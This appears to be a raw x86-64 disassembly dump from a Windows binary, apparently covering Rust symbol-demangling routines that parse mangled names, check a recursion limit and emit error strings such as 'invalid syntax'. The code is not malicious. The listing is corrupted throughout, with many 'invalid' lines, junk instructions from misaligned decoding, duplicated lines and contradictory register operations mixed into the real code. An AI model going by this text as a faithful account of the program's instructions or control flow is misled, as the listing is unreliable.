mov eax, dword [rsi + 0x18]
inc eax
add byte [rax], al
mov eax, dword [rsi + 0x18]
inc eax
mov dword [rsi + 0x18], eax
cmp eax, 0x1f4
ja 0x1400686d7
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rcx + 0xf], al
mov dh, 0xc6
movzx eax, r14b
add eax, 0xffffffbf
cmp eax, 0x13
ja 0x140068831
invalid
add al, byte [rax]
invalid
clc
adc ecx, dword [rdi]
xchg dword [rcx + 2], ebp
invalid
add al, byte [rax]
invalid
imul eax, dword [rdx], 0x8d480000
or eax, 0x7eb89
lea rcx, [0x1400e7158]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
invalid
loopne case.0x1400477cd.189
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400685fe
invalid
sbb eax, 0x6b158d48
lea rdx, [0x1400df553]
mov r8d, 1
add dword [rax], eax
add byte [rax], al
outsd dx, dword [rsi]
invalid
add dword [rax], eax
add byte [rax], al
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140068a56
test dword [rax + 4], ebx
add byte [rax], al
add dword [rax + rax*8 + 0x458850f], eax
test dword [rax + 4], ebx
add byte [rax], al
mov rcx, rsi
call fcn.140068550
invalid
invalid
invalid
invalid
invalid
mov dil, 1
test al, al
jne 0x140068a56
add al, 0
invalid
add al, 0
add byte [rcx - 0x80], al
inc byte [rcx + 0x75]
jne 0x14006864f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
cmp r14b, 0x41
jne 0x14006864f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
je 0x14006863a
sbb cl, byte [rax - 0x73]
adc eax, 0x72f59
lea rdx, [0x1400db580]
lea edx, [0x1400db580]
mov r8d, 2
call fcn.14003de60
pop rax
std
inc dword [rax + rax*8 + 0x41c850f]
test dword [rsp + rax], ebx
add byte [rax], al
pop rax
std
inc dword [rax + rax*8 + 0x41c850f]
test dword [rsp + rax], ebx
test dword [rsp + rax], ebx
add byte [rax], al
mov dil, 1
mov rcx, rsi
mov ecx, esi
mov ecx, esi
mov dl, 1
call fcn.140068c30
test al, al
jne 0x140068a56
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068a4b
test bh, ch
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x76ef1
mov r8d, 1
add byte [rax], al
add al, ch
push rdi
std
invalid
jmp case.0x1400477cd.220
rol dword [rbx], 1
add byte [rax], al
add byte [rax], al
add al, ch
push rdi
std
invalid
rol dword [rbx], 1
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x140068a54
add eax, dword [rax]
add byte [rax - 0x73], cl
adc eax, 0x72ed1
invalid
invalid
add byte [rax], al
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
invalid
mov r8d, 1
add byte [rax], al
add byte [rax - 0x7d], cl
invalid
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop r15
jmp fcn.14003de60
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400686c7
sbb eax, 0x5f158d48
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, 0x10
mov eax, 0x10
mov eax, 0x10
call fcn.14003de60
mov dil, 1
test al, al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x38f850f], eax
jne 0x140068a56
jne 0x140068a56
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x140068a54
add eax, dword [rax]
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400686fd
lea rdx, [0x1400db520]
lea edx, [0x1400db520]
invalid
mov r8d, 0x19
mov eax, 0x19
call fcn.14003de60
mov dil, 1
add dword [rax + rax*8 + 0x359850f], eax
add byte [rax], al
outsb dx, byte [rsi]
push rdi
std
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x359850f], eax
add byte [rax], al
mov qword [rsi], 0
add byte [rax], al
add dh, al
or byte [rcx], r8b
or byte [rcx], al
mov byte [rsi + 8], 1
or byte [rcx], al
jmp 0x140068a54
add byte [rax], al
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068a54
invalid
add byte [rax - 0x73], cl
adc eax, 0x730af
xor byte [rdi], al
invalid
lea rdx, [0x1400db7d0]
xor byte [rdi], al
add byte [rax - 0x75], cl
mov rdx, qword [rdx + rax*8]
adc al, 0xc2
ret 0x8d4c
lea r8, [0x1400db700]
mov r8, qword [r8 + rax*8]
add al, 0xc0
jmp 0x14006868d
pop rax
invalid
invalid
test ebx, ebx
je 0x140068a3c
test dl, bh
add al, byte [rax]
invalid
fisttp dword [rdi]
test dl, bh
add al, byte [rax]
add byte [rax - 0x73], cl
invalid
lea rdx, [0x1400e1d34]
lea edx, [0x1400e1d34]
adc eax, 0x795eb
mov r8d, 1
mov rcx, rbx
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140068a56
add byte [rcx - 0x80], al
cmp r14b, 0x50
jne 0x140068999
add byte [rax], al
invalid
add byte [rax], al
lea rdx, [0x1400db57a]
lea edx, [0x1400db57a]
invalid
mov r8d, 6
mov eax, 6
add byte [rax], al
jmp case.0x140041cc2.305
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
and byte [rax - 0x7b], cl
and byte [rax - 0x7b], cl
test rcx, rcx
leave
je 0x1400687a4
lea rdx, [0x1400db1ab]
mov r8d, 1
add byte [rax], al
invalid
add byte [rax], al
add al, ch
invalid
invalid
call fcn.14003de60
mov dil, 1
mov bh, 1
push rsi
std
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne 0x140068a56
add al, byte [rax]
invalid
mov bh, 1
test al, al
jne 0x140068a56
add al, byte [rax]
invalid
cmp r13, r12
jae 0x140068a14
cmp byte [r15 + r13], 0x4c
jne 0x140068a14
invalid
jne 0x140068a14
add byte [rax - 0x7d], cl
ret
add rbx, 2
mov qword [rsi + 0x10], rbx
pop rsi
adc byte [rax - 0x73], cl
lea ecx, [rsp + 0x20]
pop rsi
adc byte [rax - 0x73], cl
lea ecx, [rsp + 0x20]
lea ecx, [rsp + 0x20]
mov rdx, rsi
call fcn.14006b4d0
sub eax, 0x7c800000
and al, 0x20
invalid
sub eax, 0x7c800000
and al, 0x20
add byte [rdi], cl
test byte [rdx + rax], al
add byte [rax + 0x20247c], al
jl 0x1400687f4
and byte [rax], al
je case.0x140041cc2.339
add byte [rax], al
movzx ebx, byte [rsp + 0x21]
pop rsp
and al, 0x21
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
and byte [rax - 0x7b], r9b
leave
je 0x140068815
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
invalid
invalid
invalid
invalid
fisttp dword [rax - 0x73]
add eax, 0x72d21
invalid
invalid
invalid
invalid
and dword [0xcd4e87f8], ebp
invalid
add byte [rax - 0x73], cl
lea rdx, [0x1400db520]
adc eax, 0x72d2a
invalid
cmove rdx, rax
cmove edx, eax
movzx eax, bl
lea r8, [rax + rax*8]
lea eax, [rax + rax*8]
lea eax, [rax + rax*8]
add r8, 0x10
call fcn.14003de60
std
inc dword [rax - 0x49]
mov bh, 1
rcl byte [rax], 0xe8
push rsi
push rsi
std
inc dword [rax - 0x49]
mov bh, 1
test al, al
jne 0x140068a56
test al, al
jne 0x140068a56
ror byte [rdi], 0x85
add al, byte [r8]
add byte [rax - 0x39], cl
invalid
mov qword [rsi], 0
add byte [rax], al
add byte [rax], al
add byte [rax + 0x30e9085e], cl
add al, byte [rax]
add byte [rax - 0x77], cl
int1
call fcn.14006b340
add cl, ch
adc eax, dword [rdx]
add al, byte [rax]
invalid
mov byte [rsi + 8], bl
jmp 0x140068a54
add cl, ch
adc eax, dword [rdx]
add al, byte [rax]
invalid
add al, byte [rax]
add byte [rax - 0x77], cl
mov dword [rsi + 0x10], ebx
mov rcx, rsi
mov qword [rsi + 0x10], rbx
mov dword [rsi + 0x10], ebx
mov rcx, rsi
xor edx, edx
call fcn.1400672f0
invalid
invalid
jmp case.0x1400477cd.220
invalid
invalid
leave
je case.0x14007e7c4.393
lea rdx, [0x1400db582]
mov r8d, 4
sub eax, 0xb8410007
sub eax, 0xb8410007
add al, 0
add byte [rax], al
call fcn.14003de60
mov dil, 1
test al, al
ror byte [rdi], 0x85
in al, dx
add dword [rax], eax
add byte [rax], al
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x1ec850f], eax
ror byte [rdi], 0x85
in al, dx
invalid
ror byte [rdi], 0x85
in al, dx
add dword [rax], eax
add byte [rax], al
mov rcx, rsi
add byte [rax], al
mov rcx, rsi
call fcn.14006b620
mov dil, 1
test al, al
jne 0x140068a56
add dword [rax], eax
add byte [rax], al
add byte [rax], al
mov rcx, qword [rsi]
test rcx, rcx
je 0x1400689b3
mov rax, qword [rsi + 0x10]
cmp rax, qword [rsi + 8]
or byte [rdi], cl
sbb dword [rcx + rax], 0
sbb al, 1
add byte [rax], al
sbb al, 1
add byte [rax], al
cmp byte [rcx + rax], 0x4c
jne 0x1400689b3
adc al, byte [rcx]
add byte [rax], al
jne 0x1400689b3
inc rax
mov qword [rsi + 0x10], rax
adc byte [rax - 0x73], cl
and al, 0x20
and al, 0x20
mov rdx, rsi
call fcn.14006b4d0
cmp byte [rsp + 0x20], 0
and al, 0x20
add byte [rdi], cl
test dword [rax], ebx
invalid
invalid
invalid
and al, 0x20
add byte [rdi], cl
test dword [rax], ebx
invalid
mov rbx, qword [rsp + 0x28]
test rbx, rbx
test ebx, ebx
test ebx, ebx
je 0x140068a4b
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400688f1
lea rdx, [0x1400db586]
lea edx, [0x1400db586]
mov r8d, 3
call fcn.14003de60
push rbp
std
invalid
test al, al
jne 0x140068a56
mov rcx, rsi
mov rdx, rbx
invalid
call fcn.140069310
invalid
jmp 0x140068a47
add dword [rax], eax
add byte [rax - 0x77], cl
int1
call fcn.14006b120
sub byte [rax], al
add cl, ch
add dword ss:[rax], eax
invalid
sub byte [rax], al
add cl, ch
add dword ss:[rax], eax
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x140068934
lea rdx, str.____
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140068a56
test dword [rdx], esp
add dword [rax], eax
invalid
mov rcx, rsi
call fcn.14006b590
mov dil, 1
test rax, rax
jne 0x140068a56
add byte [rax - 0x7d], cl
cli
add dword [rbp + 0x27], esi
cmp rdx, 1
jne 0x140068975
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x140068a4b
invalid
lea rdx, [0x1400df555]
mov r8d, 1
call fcn.14003de60
push rsp
std
invalid
test al, al
push rsp
std
inc dword [rax + rax*8 + 0xe1850f]
jne 0x140068a56
jne 0x140068a56
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068a4b
add byte [rax - 0x73], cl
adc eax, 0x781fc
lea rdx, [0x1400e0b85]
mov r8d, 1
call fcn.14003de60
jmp 0x140068a47
lea rdx, [0x1400db576]
mov r8d, 4
mov rcx, rbx
call fcn.14003de60
jmp 0x140068a38
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400686c7
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, 0x10
add byte [rax], al
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
call fcn.14003de60
test al, al
je 0x1400686c7
jmp 0x140068a56
mov rdx, qword [rsp + 0x28]
push rsp
and al, 0x28
test rdx, rdx
je 0x140068a14
mov rcx, rsi
call fcn.140069310
add byte [rax], al
mov dil, 1
mov bh, 1
test al, al
jne 0x140068a56
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
je 0x140068a14
lea rdx, [0x1400db575]
mov r8d, 1
mov eax, 1
call fcn.14003de60
test al, al
jne 0x140068a56
inc dword [rax + rax*8 - 0x7fbebd8b]
invalid
cmp r14b, 0x52
je 0x140068a3c
invalid
and cl, byte [rax - 0x75]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
and byte [rax - 0x7b], r9b
leave
je 0x140068a3c
lea rdx, [0x1400db576]
mov r8d, 4
call fcn.14003de60
add al, ch
sub edx, dword [rbp + rdi*8 - 1]
mov dil, 1
test al, al
jne 0x140068a56
mov rcx, rsi
call fcn.140068550
invalid
mov dil, 1
test al, al
jne 0x140068a56
cmp qword [rsi], 0
je 0x140068a54
dec dword [rsi + 0x18]
xor edi, edi
mov eax, edi
clc
add rsp, 0x30
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop rbp
pop r14
pop r15
ret
int3
sub rsp, 0x28
mov rax, qword [rcx]
test rax, rax
je 0x140068ad7
mov rdi, rcx
xor esi, esi
lea rbx, [0x1400db560]
xor r14d, r14d
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae case.0x140047968.197
cmp byte [rax + rcx], 0x45
je 0x140068ae2
sub r14, 1
jb 0x140068ac1
adc al, byte [rcx - 0x48]
add al, byte [rax]
add byte [rax], al
mov rdx, rbx
call fcn.14003de60
test al, al
invalid
jne case.0x140047e6e.175
mov rcx, rdi
call fcn.140068b00
add byte [rax], al
invalid
test al, al
jne case.0x140047e6e.175
add byte [rax], al
add byte [rax + rax*8 - 0x74b7f18b], al
invalid
mov rax, qword [rdi]
test rax, rax
test eax, eax
jne 0x140068a90
jmp 0x140068aeb
adc al, 0x31
imul bl
adc byte [rsi + 1], bh
mov esi, 1
xor esi, esi
jmp 0x140068aeb
mov esi, 1
jmp 0x140068aeb
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
or dword [rax - 0x7b], ecx
leave
je 0x140068b4e
mov r8, qword ds:[rsi + 8]
mov r8, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r8
jae 0x140068b4e
movzx edx, byte [rcx + rax]
cmp edx, 0x4b
cli
je 0x140068b5b
adc byte [rbp + 0x39], cl
sal dword [rbx + 0x39], 0x42
cmp byte [rcx + rcx], 0x5f
jne case.0x14004bb40.119
add rax, 2
add eax, 2
mov qword [rsi + 0x10], rax
xor eax, eax
jmp 0x140068c11
mov rcx, rsi
mov ecx, esi
add rsp, 0x20
pop rsi
jmp fcn.140068550
invalid
add esp, 0x20
pop rsi
jmp fcn.140068c30
xor eax, eax
mov r10d, 0x3e
nop dword [rax]
add byte [rax], 0
add byte [rax], al
add byte [rax], 0
add byte [rax], al
cmp r9, r8
jae 0x140068bdb
movzx edx, byte [rcx + r9]
cmp dl, 0x5f
je 0x140068bcf
invalid
or dword [rax + 0x40745ffa], eax
lea r11d, [rdx - 0x30]
lea r11d, [rdx - 0x30]
cmp r11b, 0xa
jb 0x140068bb8
or dh, byte [rdx + 0x1f]
lea r11d, [rdx - 0x61]
cmp r11b, 0x1a
sti
sbb dh, byte [rbx + 5]
sti
sbb dh, byte [rbx + 5]
add dl, 0xa9
jmp 0x140068bb5
lea r11d, [rdx - 0x41]
cmp r11b, 0x1a
sbb dh, byte [rbx + 0x29]
add dl, 0xe3
mov r11d, edx
inc r9
inc ecx
mov qword [rsi + 0x10], r9
mul r10
jo 0x140068bdb
invalid
invalid
movzx edx, r11b
add rax, rdx
jae 0x140068b80
jmp 0x140068bdb
inc eax
jne 0x140068c11
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068bfe
lea rdx, str.invalid_syntaxrecursion_limit_reached
adc eax, 0x72925
mov r8d, 0x10
call fcn.14003de60
mov ecx, eax
sal dword [rax + 0x75c98401], 0xd
sal dword [rax + 0x75c98401], 0xd
add dword [rcx + rcx*8 - 0x38b7f28b], eax
invalid
mov qword [rsi], 0
add byte [rax], al
mov byte [rsi + 8], 0
xor eax, eax
invalid
ror byte [rax - 0x7d], 0xc4
and byte [rsi - 0x3d], bl
add rsp, 0x20
pop rsi
ret
mov rcx, rsi
mov rdx, rax
add rsp, 0x20
invalid
and byte [rsi - 0x17], bl
out dx, eax
invalid
add byte [rax], al
invalid
invalid
int3
in al, dx
cmp byte [rax - 0x77], cl
invalid
or byte [rax - 0x75], r9b
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
jae case.0x140068c9c.67
or dword [rdx], 2
add byte [rax], al
movzx ebx, byte [rcx + rax]
lea r8, [rax + 1]
mov qword [rsi + 0x10], r8
mov r10d, dword [rsi + 0x18]
inc r10d
mov dword [rsi + 0x18], r10d
cmp r10d, 0x1f4
add byte [rax], al
mov dh, 0x1c
add dword [rbp + rcx*4 + 0x40], ecx
add dword [rcx + rcx*4 + 0x46], ecx
adc byte [rbx + rcx*4 + 0x56], al
sbb byte [rcx - 1], al
ret 0x8944
add byte [rax], al
ja 0x140068d00
movzx r10d, bl
add r10d, 0xffffffbf
cmp r10d, 0x38
cmp byte [rdi], cl
xchg esp, edx
invalid
add dword [rax], eax
invalid
cmp byte [rdi], cl
xchg esp, edx
invalid
add dword [rax], eax
add byte [rbp + rcx*4 + 0x1d], cl
adc esp, ebp
invalid
lea r11, [0x1400e71a8]
movsxd r10, dword [r11 + r10*4]
add r10, r11
add edx, ebx
add edx, ebx
jmp r10
cmp r8, r9
jae case.0x140068c9c.104
cmp byte [rcx + r8], 0x6e
jne case.0x140068c9c.104
add rax, 2
mov qword [rsi + 0x10], rax
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
and byte [rax - 0x7b], cl
leave
je case.0x140068c9c.104
lea rdx, [0x1400db341]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
ror byte [rdi], 0x85
invalid
invalid
add byte [rax], al
ror byte [rdi], 0x85
cmp byte [0xc94e8cdb], al
mov rcx, rsi
mov rcx, rsi
mov edx, ebx
call fcn.140069500
mov dil, 1
test al, al
jne 0x140069211
cmp qword [rsi], 0
je 0x14006920f
dec dword [rsi + 0x18]
jmp 0x14006920f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x140068d26
sbb eax, 0x10158d48
sub byte [rdi], al
add byte [rcx - 0x48], al
lea rdx, [0x1400db520]
mov r8d, 0x19
sbb dword [rax], eax
add byte [rax], al
sbb dword [rax], eax
add byte [rax], al
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
add byte [rax], al
mov qword [rsi], 0
mov byte [rsi + 8], 1
jmp 0x14006920f
mov rcx, qword [rsi + 0x20]
test dl, dl
je 0x140068f68
xor ebp, ebp
jmp 0x140068f95
invalid
add byte [rax - 0x77], cl
int1
mov rcx, rsi
call fcn.1400697d0
jmp 0x140068ce3
cmp r8, r9
jae case.0x140068c9c.81
cmp byte [rcx + r8], 0x65
jne case.0x140068c9c.81
add dword [rbp + 0x75], esp
adc eax, 0x2c08348
invalid
add rax, 2
add cl, byte [rax - 0x77]
adc byte [rax - 0x77], r9b
int1
mov qword [rsi + 0x10], rax
mov rcx, rsi
call fcn.140069cd0
jmp 0x140068ce3
mov rcx, qword [rsi + 0x20]
test dl, dl
je 0x140068ec4
xor ebp, ebp
jmp 0x140068ef1
mov rcx, qword [rsi + 0x20]
test dl, dl
je 0x140068fc0
xor ebp, ebp
jmp 0x140068fed
add byte [rax], al
add byte [rax], al
test dl, dl
je 0x140069018
xor ebp, ebp
jmp 0x14006917a
lea rcx, [rsp + 0x28]
and al, 0x28
mov rdx, rsi
call fcn.140069970
mov rcx, qword [rsp + 0x28]
test rcx, rcx
je 0x140068f1c
mov rdx, qword [rsp + 0x30]
call fcn.140069a10
cmp rax, 1
jne case.0x140068c9c.67
test rdx, rdx
je 0x14006925b
cmp rdx, 1
jne case.0x140068c9c.67
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068cee
lea rdx, [0x1400df531]
mov r8d, 4
jmp 0x140069251
lea rcx, [rsp + 0x28]
mov rdx, rsi
call fcn.140069970
add byte [rax - 0x75], cl
and al, 0x28
test rcx, rcx
je 0x140068f1c
mov rdx, qword [rsp + 0x30]
call fcn.140069a10
test rax, rax
je case.0x140068c9c.67
mov rax, rdx
shr rax, 0x20
jne case.0x140068c9c.67
cmp edx, 0x110000
je case.0x140068c9c.67
mov eax, edx
xor eax, 0xd800
add eax, 0xffef0000
cmp eax, 0xffef07ff
jbe case.0x140068c9c.67
mov rcx, qword [rsi + 0x20]
call fcn.140069bb0
add byte [rax], al
jmp 0x140068ce3
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068e88
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, 0x10
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov qword [rsi], 0
mov byte [rsi + 8], 0
jmp 0x14006920f
mov rcx, qword [rsi + 0x20]
test dl, dl
je 0x14006904a
xor ebp, ebp
jmp 0x140069077
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068cee
lea rdx, [0x1400db4aa]
jmp 0x14006924b
test rcx, rcx
je 0x1400690a2
lea rdx, [0x1400df556]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov rcx, qword [rsi + 0x20]
mov bpl, 1
test rcx, rcx
je 0x1400690a5
lea rdx, [0x1400db1ab]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
jmp 0x1400690a5
movzx ebx, byte [rsp + 0x30]
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068f59
test bl, bl
lea rax, str.invalid_syntaxrecursion_limit_reached
lea rdx, [0x1400db520]
cmove rdx, rax
movzx eax, bl
lea r8, [rax + rax*8]
add r8, 0x10
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov qword [rsi], 0
mov byte [rsi + 8], bl
jmp 0x14006920f
test rcx, rcx
je 0x1400690e2
lea rdx, [0x1400df556]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov rcx, qword [rsi + 0x20]
mov bpl, 1
test rcx, rcx
je 0x1400690e5
lea rdx, [0x1400df553]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
jmp 0x1400690e5
test rcx, rcx
je 0x14006910f
lea rdx, [0x1400df556]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov rcx, qword [rsi + 0x20]
mov bpl, 1
test rcx, rcx
je 0x140069112
lea rdx, str.____
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
jmp 0x140069112
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140069177
lea rdx, [0x1400df556]
mov r8d, 1
call fcn.14003de60
mov bpl, 1
mov dil, 1
test al, al
jne 0x140069211
jmp 0x14006917a
test rcx, rcx
je 0x14006921c
lea rdx, [0x1400df556]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov rcx, qword [rsi + 0x20]
mov bpl, 1
test rcx, rcx
je 0x14006921f
lea rdx, [0x1400e1d34]
mov r8d, 1
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
jmp 0x14006921f
mov bpl, 1
cmp bl, 0x52
je 0x1400690d0
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400690d0
lea rdx, [0x1400db576]
mov r8d, 4
call fcn.14003de60
mov dil, 1
test al, al
jne 0x140069211
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.140068c30
jmp 0x14006922a
mov bpl, 1
mov rcx, rsi
call fcn.140069f90
mov dil, 1
test rax, rax
jne 0x140069211
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006922e
lea rdx, [0x1400df554]
jmp 0x140069167
mov bpl, 1
mov rcx, rsi
call fcn.14006a020
mov dil, 1
test rax, rax
jne 0x140069211
cmp rdx, 1
jne 0x140069153
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006922e
lea rdx, [0x1400df555]
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140069211
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006922e
lea rdx, [0x1400e0b85]
mov r8d, 1
call fcn.14003de60
jmp 0x14006922a
mov bpl, 1
mov dil, 1
mov rcx, rsi
mov dl, 1
call fcn.1400672f0
test al, al
jne 0x140069211
mov rax, qword [rsi]
test rax, rax
je 0x1400691ec
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400691c3
movzx eax, byte [rax + rcx]
inc rcx
mov qword [rsi + 0x10], rcx
cmp eax, 0x53
je 0x140069277
cmp eax, 0x54
je 0x1400692ca
cmp eax, 0x55
je 0x14006922e
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068e88
lea rdx, str.invalid_syntaxrecursion_limit_reached
mov r8d, 0x10
call fcn.14003de60
test al, al
je 0x140068e88
jmp 0x140069211
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006920f
xor edi, edi
mov eax, edi
add rsp, 0x38
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov bpl, 1
mov rcx, rsi
call fcn.140069cd0
mov dil, 1
test al, al
jne 0x140069211
test bpl, bpl
je 0x140068cee
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068cee
lea rdx, [0x1400e13db]
mov r8d, 1
call fcn.14003de60
jmp 0x140068ce3
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x140068cee
lea rdx, [0x1400df52c]
mov r8d, 5
jmp 0x140069251
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006929a
lea rdx, [0x1400db5bc]
mov r8d, 3
call fcn.14003de60
test al, al
jne 0x140069211
mov rcx, rsi
call case.0x140023569.558
test rax, rax
jne 0x140069211
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006922e
lea rdx, [0x1400db5bf]
mov r8d, 2
jmp 0x14006916d
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400692ed
lea rdx, str.____
mov r8d, 1
call fcn.14003de60
test al, al
jne 0x140069211
mov rcx, rsi
call fcn.140069f90
test rax, rax
jne 0x140069211
jmp 0x140069153
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x140069fc0
cmp byte [rax + rcx], 0x45
je 0x14006a004
sub r14, 1
jb 0x140069fe1
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x140069fe1
mov r8d, 2
mov rdx, rbx
call fcn.14003de60
test al, al
invalid
jne 0x140069ffd
sal byte [rbp + 0x1c], 0x48
mov ecx, edi
mov rcx, rdi
mov dl, 1
call fcn.140068c30
test al, al
jne 0x140069ffd
mov rax, qword [rdi]
test rax, rax
jne 0x140069fb0
jmp 0x14006a00d
mov esi, 1
jmp 0x14006a00d
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
mov rax, rsi
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r14
ret
push r15
push r14
push r13
push r12
push rsp
push rsp
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x68
in al, dx
push 0x4d018b4c
test eax, eax
invalid
in al, dx
push 0x4d018b4c
test eax, eax
invalid
ror byte [rdi], 0x84
or eax, 0x48000002
add byte [rax - 0x77], cl
invalid
je case.0x14007e7c4.450
add byte [rax - 0x77], cl
invalid
mov rsi, rcx
mov ebp, 0x3e
lea rdi, [rsp + 0x20]
lea rbx, [rsp + 0x40]
lea r14, str.:_library_std_srciomod.rs
lea r15, [0x1400db560]
xor r12d, r12d
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x14006a117
cmp byte [r8 + rax], 0x45
je 0x14006a342
test r12, r12
je 0x14006a14f
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x14006a14f
add byte [rbx + rcx*4 + 0x4e], cl
or byte [rax - 0x75], cl
adc byte [rcx + r15 - 0x38], r9b
cmp rax, r9
jae case.0x14002cfa3.462
cmp byte [r8 + rax], 0x73
jne case.0x14002cfa3.462
test ebp, ebx
add byte [rax], al
invalid
test ebp, ebx
add byte [rax], al
add byte [rax - 0x73], cl
add qword [rax - 0x77], rcx
adc byte [rcx + r15 - 0x37], r9b
fld qword [rax]
add byte [rax], al
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x14006a184
cmp byte [r8 + rcx], 0x5f
jne 0x14006a184
invalid
or eax, 0x2c08348
add rax, 2
mov qword [rsi + 0x10], rax
jmp case.0x14002cfa3.462
xor eax, eax
nop word cs:[rax + rax]
add byte [rcx + rdi - 0x37], cl
add byte [rcx + rdi - 0x37], cl
jae 0x14006a2b7
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
cli
pop rdi
je 0x14006a224
add byte [rax], al
invalid
add byte [rax], al
add byte [rbp + rcx*4 + 0x52], al
rol byte [rcx - 0x80], 1
cmp r10b, 0xa
jb 0x14006a1d4
cmp r10b, 0xa
jb 0x14006a1d4
lea r10d, [rdx - 0x61]
lea edx, [rdx - 0x61]
cmp r10b, 0x1a
jae case.0x14002753a.531
add dl, 0xa9
jmp 0x14006a1d1
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
jae 0x14006a2b7
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
mul rbp
jo 0x14006a2b7
movzx edx, r10b
add rax, rdx
jae 0x14006a190
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je case.0x14007e7c4.450
mov r13d, 1
mov r8d, 1
lea rdx, str._for_____::closureshim_as__mut_const___dyn___unsafe_extern__
call fcn.14003de60
test al, al
je 0x14006a2a6
jmp 0x14006a2ec
add byte [rax], al
inc rcx
